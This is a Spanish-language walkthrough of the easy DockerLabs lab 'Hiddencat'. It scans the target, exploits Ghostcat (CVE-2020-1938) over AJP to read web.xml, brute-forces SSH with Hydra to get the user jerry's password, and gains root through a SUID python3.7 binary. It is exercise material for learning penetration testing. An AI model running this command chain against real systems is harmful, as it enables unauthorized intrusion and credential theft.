Hiddencat DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip hiddencat.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh hiddencat.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Pero si intentamos hacer un nmap
no nos va a dejar por que hay un error en el TAR
al desplegar la maquina, por lo que ejecutaremos la maquina para que no aparezca ningun error, mientras la maquina esta desplegada, ejecutamos en otra terminal lo siguiente:
sudo docker run --ulimit nofile=65536:65536 hiddencat
Info:
Starting OpenBSD Secure Shell server: sshd.
21-Jan-2025 19:52:57.889 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version name: Apache Tomcat/9.0.30
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built: Dec 7 2019 16:42:04 UTC
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version number: 9.0.30.0
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name: Linux
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version: 6.8.11-amd64
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture: amd64
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home: /usr/local/openjdk-8/jre
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version: 1.8.0_242-b08
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor: Oracle Corporation
21-Jan-2025 19:52:57.891 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE: /usr/local/tomcat
21-Jan-2025 19:52:57.892 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME: /usr/local/tomcat
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dorg.apache.catalina.security.SecurityListener.UMASK=0027
21-Jan-2025 19:52:57.893 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded APR based Apache Tomcat Native library [1.2.23] using APR version [1.6.5].
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true].
21-Jan-2025 19:52:57.894 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
21-Jan-2025 19:52:57.896 INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.1d 10 Sep 2019]
21-Jan-2025 19:52:58.073 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
21-Jan-2025 19:52:58.105 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["ajp-nio-8009"]
21-Jan-2025 19:52:58.106 INFO [main] org.apache.catalina.startup.Catalina.load Server initialization in [341] milliseconds
21-Jan-2025 19:52:58.125 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
21-Jan-2025 19:52:58.125 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet engine: [Apache Tomcat/9.0.30]
21-Jan-2025 19:52:58.133 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/manager]
21-Jan-2025 19:52:58.296 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/manager] has finished in [164] ms
21-Jan-2025 19:52:58.297 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/ROOT]
21-Jan-2025 19:52:58.308 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/ROOT] has finished in [12] ms
21-Jan-2025 19:52:58.309 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/examples]
21-Jan-2025 19:52:58.488 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/examples] has finished in [179] ms
21-Jan-2025 19:52:58.488 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/docs]
21-Jan-2025 19:52:58.499 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/docs] has finished in [11] ms
21-Jan-2025 19:52:58.499 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/host-manager]
21-Jan-2025 19:52:58.514 INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/host-manager] has finished in [15] ms
21-Jan-2025 19:52:58.517 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
21-Jan-2025 19:52:58.524 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-8009"]
21-Jan-2025 19:52:58.527 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in [420] milliseconds
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 14:55 EST
Nmap scan report for 172.17.0.2
Host is up (0.000024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 4d:8d:56:7f:47:95:da:d9:a4:bb:bc:3e:f1:56:93:d5 (RSA)
| 256 8d:82:e6:7d:fb:1c:08:89:06:11:5b:fd:a8:08:1e:72 (ECDSA)
|_ 256 1e:eb:63:bd:b9:87:72:43:49:6c:76:e1:45:69:ca:75 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/9.0.30
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
Vemos que hay un tomcat
desplegado y el puerto por defecto del mismo es el 8080
el otro es para su funcionamiento, por lo que omitimos ese puerto, si entramos en dicho puerto:
URL = http://<IP>:8080/
De primeras vemos que tiene la siguiente version:
Apache Tomcat/9.0.30
Si realizamos un escaneo de la pagina, confirmamos que tiene dicha version:
whatweb http://<IP>:8080
Info:
http://172.17.0.2:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[172.17.0.2], Title[Apache Tomcat/9.0.30]
Vamos a buscar si esa version de tomcat
tuviera algun exploit asociado al mismo.
Vemos que si tiene asociada una vulnerabilidad, en concreto su CVE
es el siguiente:
CVE-2020-1938
Y el exploit que vamos a utilizar esta en el siguiente repositorio:
URL = Exploit Tomcat
Lo descargamos y lo utilizaremos de la siguiente forma:
python3 exploit.py <IP> -p 8009 -f WEB-INF/web.xml
Info:
Getting resource at ajp13://172.17.0.2:8009/hissec
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to Tomcat, Jerry ;)
</description>
</web-app>
Vemos que encontramos el usuario Jerry
por lo que le haremos fuerza bruta.
Escalate user jerry
Hydra
hydra -l jerry -P <WORDLIST> ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-27 12:53:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: jerry password: chocolate
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 24 final worker threads did not complete until end.
[ERROR] 24 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-27 12:53:25
Vemos que encontramos las credenciales de dicho usuario.
SSH
ssh jerry@<IP>
Metemos como contraseña chocolate
y veremos que estamos dentro.
Escalate Privileges
Si listamos los permisos SUID
que tenemos, veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
931973 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
949765 3128 -rwsr-xr-x 2 root root 3201864 Jul 21 2020 /usr/bin/perl
931882 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
931879 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
931984 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
949765 3128 -rwsr-xr-x 2 root root 3201864 Jul 21 2020 /usr/bin/perl5.28.1
931929 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
956522 4760 -rwsr-xr-x 2 root root 4874240 Mar 23 2024 /usr/bin/python3.7m
956522 4760 -rwsr-xr-x 2 root root 4874240 Mar 23 2024 /usr/bin/python3.7
949829 428 -rwsr-xr-x 1 root root 436552 Dec 24 2023 /usr/lib/openssh/ssh-keysign
949817 52 -rwsr-xr-- 1 root messagebus 51184 Oct 23 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
931356 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /bin/umount
931350 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /bin/su
931331 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /bin/mount
931336 64 -rwsr-xr-x 1 root root 65272 Aug 3 2018 /bin/ping
Vemos varias cosas interesantes, pero entre ellas la mas importante:
956522 4760 -rwsr-xr-x 2 root root 4874240 Mar 23 2024 /usr/bin/python3.7
Por lo que haremos lo siguiente:
python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
Info:
bash-5.0# whoami
root
Con esto veremos que ya seremos el usuario root
, por lo que habremos terminado la maquina.
Last updated